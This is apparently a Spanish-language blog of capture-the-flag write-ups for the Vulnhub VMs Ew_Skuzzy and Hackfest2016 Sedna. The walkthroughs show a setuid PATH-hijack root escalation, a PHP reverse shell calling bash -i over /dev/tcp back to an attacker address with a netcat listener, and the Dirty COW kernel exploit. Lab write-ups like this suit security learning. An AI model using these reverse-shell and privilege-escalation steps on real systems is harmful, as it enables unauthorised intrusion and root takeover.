    16689     40 -rwsr-xr-x   1 root     root        38984 Feb  4  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    17467    420 -rwsr-xr-x   1 root     root       428240 Aug 12  2016 /usr/lib/openssh/ssh-keysign
    16114     44 -rwsr-xr--   1 root     messagebus    42992 Jan 13  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      590     12 -rwsr-xr-x   1 root     root          10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
   152231     56 -rwsr-xr-x   1 root     root          56456 Feb 18  2017 /usr/lib/snapd/snap-confine
      394     40 -rwsr-xr-x   1 root     root          39904 Mar 29  2016 /usr/bin/newgrp
      330     76 -rwsr-xr-x   1 root     root          75304 Mar 29  2016 /usr/bin/gpasswd
      269     40 -rwsr-xr-x   1 root     root          40432 Mar 29  2016 /usr/bin/chsh
    16707     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newuidmap
    18335     24 -rwsr-xr-x   1 root     root          23376 Jan 18  2016 /usr/bin/pkexec
      267     52 -rwsr-xr-x   1 root     root          49584 Mar 29  2016 /usr/bin/chfn
    17780     52 -rwsr-sr-x   1 daemon   daemon        51464 Jan 15  2016 /usr/bin/at
    16706     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newgidmap
      405     56 -rwsr-xr-x   1 root     root          54256 Mar 29  2016 /usr/bin/passwd
      489    136 -rwsr-xr-x   1 root     root         136808 Jan 21  2017 /usr/bin/sudo
   149630     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   131134     40 -rwsr-xr-x   1 root     root          40152 Dec 17  2016 /bin/mount
   131165     40 -rwsr-xr-x   1 root     root          40128 Mar 29  2016 /bin/su
   149660    140 -rwsr-xr-x   1 root     root         142032 Jan 29  2017 /bin/ntfs-3g
   131148     44 -rwsr-xr-x   1 root     root          44168 May  8  2014 /bin/ping
   131149     44 -rwsr-xr-x   1 root     root          44680 May  8  2014 /bin/ping6
   131183     28 -rwsr-xr-x   1 root     root          27608 Dec 17  2016 /bin/umount
   157770     12 -rwsr-xr-x   1 root     root           8736 Mar  2  2017 /opt/alicebackup

 

Se ejecuta el binario de alicebackup y esto pasa.
www-data@skuzzy:/home/skuzzy$ /opt/alicebackup
/opt/alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ssh: Could not resolve hostname alice.home: Name or service not known
lost connection


Como se utiliza no un path absoluto para ejecutar el id, se copia bash en un archivo en /tmp, se exporta el path y con suerte se obtiene acceso a root.
www-data@skuzzy:/tmp$ cp /bin/bash id
cp /bin/bash id
www-data@skuzzy:/tmp$ export PATH=/tmp/:$PATH
export PATH=/tmp/:$PATH
www-data@skuzzy:/tmp$ /opt/alicebackup
whoami
root

 

Para obtener el utimo flag, se encuentra en /root, les dejo parte del mensaje.
cat /root/flag.txt
Congratulations!

flag5{*******************************96d89f6a}



Muchas gracias a @vortexau que nos brindó esta VM. Hasta la próxima.

Vulnhub: Ew_Skuzzy: 1
Referencia: community.fs.com
Referencia: diablohorn.com
Referencia: stackoverflow.com


viernes, 4 de marzo de 2022

CTF Hackfest2016: Sedna VM

 


 

Bueno, en esta entrega sedna es una máquina que según el autor hay múltiples formas de conseguir los permisos como usuario root, asi que lo primero se escanea la máquina.

$ sudo nmap -sV -Pn -A -O -oN sedna 192.168.2.18
Starting Nmap
Nmap scan report for 192.168.2.18
Host is up (0.00081s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 aac39e80b48115dd60d508ba3fe0af08 (DSA)
|   2048 417fc25dd53a68e4c5d9cc60067693a5 (RSA)
|   256 ef2d6585f83a85c2330b7df9c8922203 (ECDSA)
|_  256 ca363c32e624f9b7b4d41dfcc0da1096 (ED25519)
53/tcp   open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
110/tcp  open  pop3        Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL AUTH-RESP-CODE PIPELINING RESP-CODES TOP STLS UIDL CAPA
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35963/tcp6  status
|   100024  1          45479/udp6  status
|   100024  1          49259/udp   status
|_  100024  1          59802/tcp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ ENABLE ID more post-login have LOGINDISABLEDA0001 capabilities Pre-login STARTTLS listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_ssl-date: TLS randomness does not represent time
445/tcp  open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp  open  ssl/imap    Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_imap-capabilities: LITERAL+ ENABLE ID more have post-login AUTH=PLAINA0001 capabilities Pre-login listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
995/tcp  open  ssl/pop3    Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_pop3-capabilities: USER AUTH-RESP-CODE PIPELINING SASL(PLAIN) TOP RESP-CODES UIDL CAPA
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel


Ahora en desde el navegador se puede ver lo siguiente.



 Ahora se indaga cuáles directorios están disponibles.

$ gobuster dir -u http://192.168.2.18/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.18/files                (Status: 301) [Size: 311] [--> http://192.168.2.18/files/]
http://192.168.2.18/themes               (Status: 301) [Size: 312] [--> http://192.168.2.18/themes/]
http://192.168.2.18/modules              (Status: 301) [Size: 313] [--> http://192.168.2.18/modules/]
http://192.168.2.18/system               (Status: 301) [Size: 312] [--> http://192.168.2.18/system/]
http://192.168.2.18/blocks               (Status: 301) [Size: 312] [--> http://192.168.2.18/blocks/]
http://192.168.2.18/server-status        (Status: 403) [Size: 292]
Progress: 220532 / 220561 (99.99%)
===============================================================

 

Cuando se revisa el directorio /themes, se pudo obtener más información acerca de la máquina.




Buscando se encontró un exploit para este CMS.


En este caso, solo se le cambia la IP de la VM, y asegurarse que la extensión sea .html, al abrir con el navegador este archivo, solo es necesario cargar el revershell.

$ cat shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");?>

Una vez cargado se encuentra en la ruta /files, pero antes se deja escuchando por el puerto que se especificó en el revershell.
$ nc -lvnp 4567


Ya adentro, se explora los archivos y se encuentra el primer flag
www-data@Sedna:/var/www$ cat flag.txt
cat flag.txt
********************8b9aeac6b289

 

Llegando a home, se nota que no hay algún workspace de usuarios, se verificó la información de la máquina.
www-data@Sedna:/var/www/html/files$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

 

Se encontró un exploit con estas características y que permiten elevar privilegios.
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method).

 

 Siguiendo las instrucciones del exploit y te pedirá una contraseña.
gcc -pthread 40839.c -o dirty -lcrypt
./dirty

 

Algo para resaltar es que aparentemente este exploit es muy agresivo, a los pocos segundos de ejecutarlo la máquina se atora, asi que lo siguiente para conseguir acceso a root, en otra pestaña. Este usuario se encuentra dentro del exploit.

$ ssh -l firefart 192.168.2.19
firefart@192.168.2.19's password: (contraseña que se le dio al exploit)
 

Ahora para encontrar la flag de root.
firefart@Sedna:~# ls
8d2daf441809dcd86398d3d750d768b5-BuilderEngine-CMS-V3.zip  chkrootkit  flag.txt
firefart@Sedna:~# cat flag.txt
*****************936614558305

Muchas gracias a @ViperBlackSkull que nos brindó esta VM. Hasta la próxima.

Vulnhub: hackfest2016: Sedna